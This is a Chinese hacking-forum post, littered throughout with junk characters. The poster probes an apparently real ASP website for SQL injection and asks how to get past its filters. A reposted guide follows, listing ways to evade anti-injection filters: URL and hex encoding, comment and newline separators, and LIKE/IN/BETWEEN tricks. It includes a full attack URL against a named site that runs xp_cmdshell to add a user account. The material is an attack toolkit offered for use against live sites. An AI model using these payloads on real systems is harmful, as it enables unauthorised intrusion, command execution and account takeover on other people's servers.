路过这个网站,检测了一下.& Q9 g4 R" l# o6 n
http://www.xxx.cn/Article.asp?ID=117 and 1=17 g# m8 {* _8 w8 ~
直接返回主页
: n, v4 M$ x- h7 F2 J, o6 S( Nhttp://www.xxx.cn/Article.asp?ID=117 or 1=1
2 S( [9 s- V5 i% A9 k5 w直接返回主页# [1 ]0 p, B4 T
http://www.xxx.cn/Article.asp?ID=117 or! O& s+ T7 p2 J3 }8 y
没有返回主页 没有过滤or
6 H& N$ F% O* L# chttp://www.xxx.cn/Article.asp?ID=117 and
* ]3 o# L- A$ n$ {$ n直接返回主页 看来过滤了and
! E; J2 W$ ^0 {+ }http://www.xxx.cn/Article.asp?ID=117 or 1
+ s' E8 r F/ R* `& C5 i2 Y没有返回主页 即没有过滤or 也没有过滤11 z! l) F6 Q- T7 p; O
http://www.xxx.cn/Article.asp?ID=117 or 1=1
9 I+ u8 y$ g7 k7 J& E5 D直接返回主页 很明显过滤了等号 3 P6 N# C8 S; O! r. a; D; o u+ k$ L; H
or的特性是与and相反的. j+ A Z I( r/ C
or 1=1 爆错 或与原页面不同
1 ]' U2 b* G" X$ z; ~ for 1=2 原页面相同2 ?* C4 B2 R: m8 n- B
这样就是一个注入点
( J: i3 g l1 R( C" C但他过滤了=号 我就用><号代替=号吧!
( ]) ?! f9 `; C1 H! ior 1<2 很明显是正确的,所以应该与原页面不同
5 i5 [2 T& _) b' Y& ~$ W5 W* Oor 1>2 很明显是错误的,所以应该与原页面相同
8 l# Q# E# k' I- I% E0 J然后看看有没有过滤其他的查询语句,比如select.2 |8 c3 w% h/ O, k7 H. L9 @
http://www.xxx.cn/Article.asp?ID=117 select, A5 j8 { T5 B* Z. S6 C. E2 D& z
直接返回主页/ O& e2 t. v* `7 w
又迷茫了..
: f" b% Y2 w9 B8 B! a' [) w# a0 U+ H& i# `1 L- v4 L
$ D- Q. }8 V1 m& |, k4 @0 ~cookies注入.和以下的方法全都试过了,都失败了.还有什么方法可以饶过吗
9 Q* |/ J6 o" r: s' V这个系统我以为是my动力,后台却是这样的http://www.xxx.cn/admin.asp(应该不是假够台吧)
- ]0 Q& w; c, m7 e- x================================================
, \2 o8 Y% f( F- C p, T# y6 W _以下是转贴:
- E8 }0 d2 F! V" T( U
8 t* h7 T* B+ h$ |( t/ C- ]9 F突然想我们是否可以用什么方法绕过SQL注入的限制呢?到网上考察了一下,提到的方法大多都是针对AND与“’”号和“=”号过滤的突破,虽然有点进步的地方,但还是有一些关键字没有绕过,由于我不常入侵网站所以也不敢对上述过滤的效果进行评论,但是可以肯定的是,效果不会很好…… ! ~7 a& g1 V8 ~
经过我的收集,大部分的防注入程序都过滤了以下关键字: - W# d" ^! w0 a: x% p& D k6 c0 X3 R
and | select | update | chr | delete | %20from | ; | insert | mid | master. | set | =
: g* ]" M& Z0 _! h/ C7 \4 q而这里最难处理的就是select这个关键字了,那么我们怎样来突破他们呢?问题虽未完全解决,但还是说出来与大家分享一下,希望能抛砖引玉。 . h6 M7 a) z* s0 X. h8 C
对于关键字的过滤,以下是我收集的以及我个人的一些想法。 / o5 o* W( G, e k# R! _5 M
1、运用编码技术绕过
, @/ L) d6 N& }# {如URLEncode编码,ASCII编码绕过。例如or 1=1即
7 h/ V. u' G. T: T5 `7 U%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。
% @- ~. G7 G+ h+ m. H. Q. S
5 p4 u& @" c9 V* P/ R2、通过空格绕过 1 g$ O( C2 \) o* M* F; B6 z% i
如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如
* ~% F: B( @" h/ k/ ~or’ swords’ =‘swords’ $ C$ M) M" Y" e: Q
,由于mssql的松散性,我们可以把or ’swords’ 之间的空格去掉,并不影响运行。
8 ?( t$ {8 p* P& Q( ^3、运用字符串判断代替 : \' n/ v3 {, I0 | i6 K
用经典的or 1=1判断绕过,如
* h' i0 _9 e( R9 a. {" bor ’swords’ =’swords’ 7 }: I) ]5 u* a' K: U, g5 e# f
,这个方法就是网上在讨论的。 ! @/ P8 `& r& ]% l4 c
4、通过类型转换修饰符N绕过 % Y7 t/ O4 ^( D! E. H* U
可以说这是一个不错的想法,他除了能在某种程度上绕过限制,而且还有别的作用,大家自己好好想想吧。关于利用,如or ’swords’ = N’ swords’ ,大写的N告诉mssql server 字符串作为nvarchar类型,它起到类型转换的作用,并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。 & J2 d5 B! Y* R9 f7 Q: |
5、通过+号拆解字符串绕过
: m, U7 D. K& I& F. G9 z9 d* r效果值得考证,但毕竟是一种方法。如
7 K$ |, L: s( P6 w( e6 E9 xor ’swords’ =‘sw’ +’ ords’ ;EXEC(‘IN’ +’ SERT INTO ’+’ …..’ )
G/ u. {, m1 I0 {; P& @
/ {2 o7 H6 @4 U/ l1 u" o: S6、通过LIKE绕过 6 q# ]7 \# a. H2 R: e6 Z
以前怎么就没想到呢?如or
$ \( Q3 {# j9 Y. W l4 x w’swords’ LIKE ’sw’
+ O' C& Q" o: i' z" h!!!显然可以很轻松的绕过
U+ C' B: n+ j! T+ E“=”“>”
8 U- D8 t. b. D8 Z的限制…… ' f( K E) P3 j% E! P: x
7、通过IN绕过 , I- n. D, p3 y4 Q
与上面的LIKE的思路差不多,如
6 g6 F9 u3 B" f, g7 j& por ’swords’ IN (’swords’) p% i8 F4 w# `7 X6 O# t5 V+ W
# o5 N8 w4 d# L# t/ G7 I# a* s8、通过BETWEEN绕过
( k6 H% q% d' B6 \- r7 V如 0 w7 [* R# Z7 f1 M: k* F4 d2 A
or ’swords’ BETWEEN ’rw’ AND ’tw’
3 l" b, k/ B1 ?9 m( Y% y: }+ v
; |- o' ^5 H2 N* g# Y. M9、通过>或者<绕过 ; D Y' N+ z$ ]0 G" i+ k
or ’swords’ > ’sw’
: L9 Q8 g1 r2 h$ {3 a1 i8 L7 gor ’swords’ < ’tw’
% P& c+ }5 r9 _0 Vor 1<3
" Z0 B: R% _) g" U- Y. @5 R2 i3 v! m……
# l! J# M& d, m! @* x7 O10、运用注释语句绕过 $ @: _0 ~& I# D% n! b
用/**/代替空格,如: & `7 t! |. r o r0 k
UNION /**/ Select /**/user,pwd,from tbluser
; u" V; v+ F4 w' q
( r9 _' V0 s( t8 ?# z3 `& Z用/**/分割敏感词,如: ; _6 J8 u4 u) K6 U5 \4 A
U/**/ NION /**/ SE/**/ LECT /**/user,pwd from tbluser - G; c" E0 q [9 y8 o
% |$ U4 T# Q8 G) l11、用HEX绕过,一般的IDS都无法检测出来 2 a" y9 J2 A5 L! U6 A5 M+ f5 ?$ O* k
0x730079007300610064006D0069006E00 =hex(sysadmin)
Q' n" `+ R+ E+ ^- j. ]0 d0x640062005F006F0077006E0065007200 =hex(db_owner)
2 K7 a! ~( J$ x3 L另外,关于通用点的过滤方法,我们可以考虑采用赋值的方法,例如先声明一个变量a,然后把我们的指令赋值给a,然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下:
2 T2 ~7 Y/ p9 V- k- ?! v0 Y# S) Z declare @a sysname $ [3 _& H7 T4 M
select @a= . x" U1 G% C* w! d
exec master.dbo.xp_cmdshell @a + T, z# G% c! l: E2 [6 c) J/ Y. {
效果
5 T- U+ B, d! hhttp://www.ilikeplmm.com/show.asp?id=1;declare%20@a% [email=20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a]20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a[/email];-- - l; f. M) _1 L; j3 u- J
! L4 x3 D T8 k4 ?2 }1 H, V; A
其中的 6 R% O1 x' F0 v$ n* F6 y( ]
0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400
1 Q' l, ]5 k! w/ k6 o H6 ~) V% D就是 " I, b) d5 t2 A, k5 S. H/ p
“net user angel pass /add”
. T) `6 T* e3 S: M) p
2 S- L6 h. f9 f6 o: u一直以来都以为只有空格,tab键和注释符/**/可以用来切割sql关键字,段时间在邪八看了风迅cms注入漏洞那篇帖子,才知道原来回车也可以用来作为分割符(以前竟然没有想到,真是失败)。回车的ascii码是chr(13)&chr(10),至于为什么要两个连在一起,这个我也不知道。转换成url编码形式是%0d%0a,于是就可以用%0d%0a代替空格pass一些过滤空格的检查了。
" B/ G _' c" T* a引申一下,只用%0d能正常执行语句吗?只用%0a呢?测试证明,用任意一种分割在mssql、mysql和access里面都是可以的。2 r, y$ z+ e! z/ J# k1 @
另外,关于mssql的多语句问题。我以前一直以为必须用分号作为语句的结尾,后来发现,完全不是那样。类似
2 |8 Y [: w( Y( s+ iCopy code% w S1 M' M8 y# r" m; n6 |
select * from table exec xp_cmdshell'xxxxxxxxxx'
- t' B0 N1 a$ F5 N+ y' b, t5 O
3 D1 t% k) D: A7 C+ V9 E0 B2 M7 I) }& z9 y2 F
select * from table/**/exec xp_cmdshell'xxxxxxxxxx'
1 n4 T6 g3 b% C: Q8 K( c9 w; a9 c* _' T' i& ]) I
* W2 [ R1 ]3 g( L& Cselect * from table|---tab---|exec xp_cmdshell'xxxxxxxxxx'
; x% @. Z& | |2 ^5 C6 y% {& O" K+ h7 n0 D+ i) O# }
0 r& z& W A; }" q* T4 v( @) |
select * from table|---enter---|exec xp_cmdshell'xxxxxxxxxx'* k2 F' E9 p4 }2 B9 E1 ?/ Q6 G1 P+ X7 w* j
5 j3 h' J+ s8 {. W
的语句都是可以正常执行的。而我以前竟然一直不知道!不过这个貌似跟连接数据库驱动有关系,odbc可以正常执行,sqloledb的话就会报错。有兴趣的继续研究吧?
: L+ x. ^# [1 D; Y; g0 F/ c- o* l1 f: }( m- u" x! f
这样,以后遇到带空格过滤关键字的拦截程序,又可以发挥发挥了
2 M" B# X+ [6 O+ W3 N! M6 o可能大家早就知道了,不管怎么说,发在这里吧!
6 q8 U- m6 U( m% w# K( {) [; J, z, C' m* \# ~2 v
最近想起可能还有些ascii码可以用来在sql语句中代替空格,于是写个脚本测试了一下,结果在所有128个低位ascii字符中,chr(12)也可以在access里用,不过貌似chr(12)不能出现在and、or之类的关键词附近,原因不清楚。mysql中比access多一个chr(11)可以。至于mssql,挖日,直接从1到32的ascii码换成字符后都可以正常使用。
* T7 B' H3 x9 ]
* C7 I4 p5 { f* F
! p8 n2 V ^/ e0 [
* k; N; i5 _+ }9 p4 z2 R6 Y对于中间应该出现空格的地方,用()进行替换,不过,对于很复杂的SQL语句就不太好用了。上面说到的是字符型的,如果是数值型,可以在id=1后加一个括号,不过这个我没有测试,, M7 f1 c1 ?0 F
比如:jmdcw.asp?id=(1)and(select.....),应该是可行的吧? ! N& Y6 l0 ]9 B! f1 H, E/ O
$ K3 g+ o) S, v |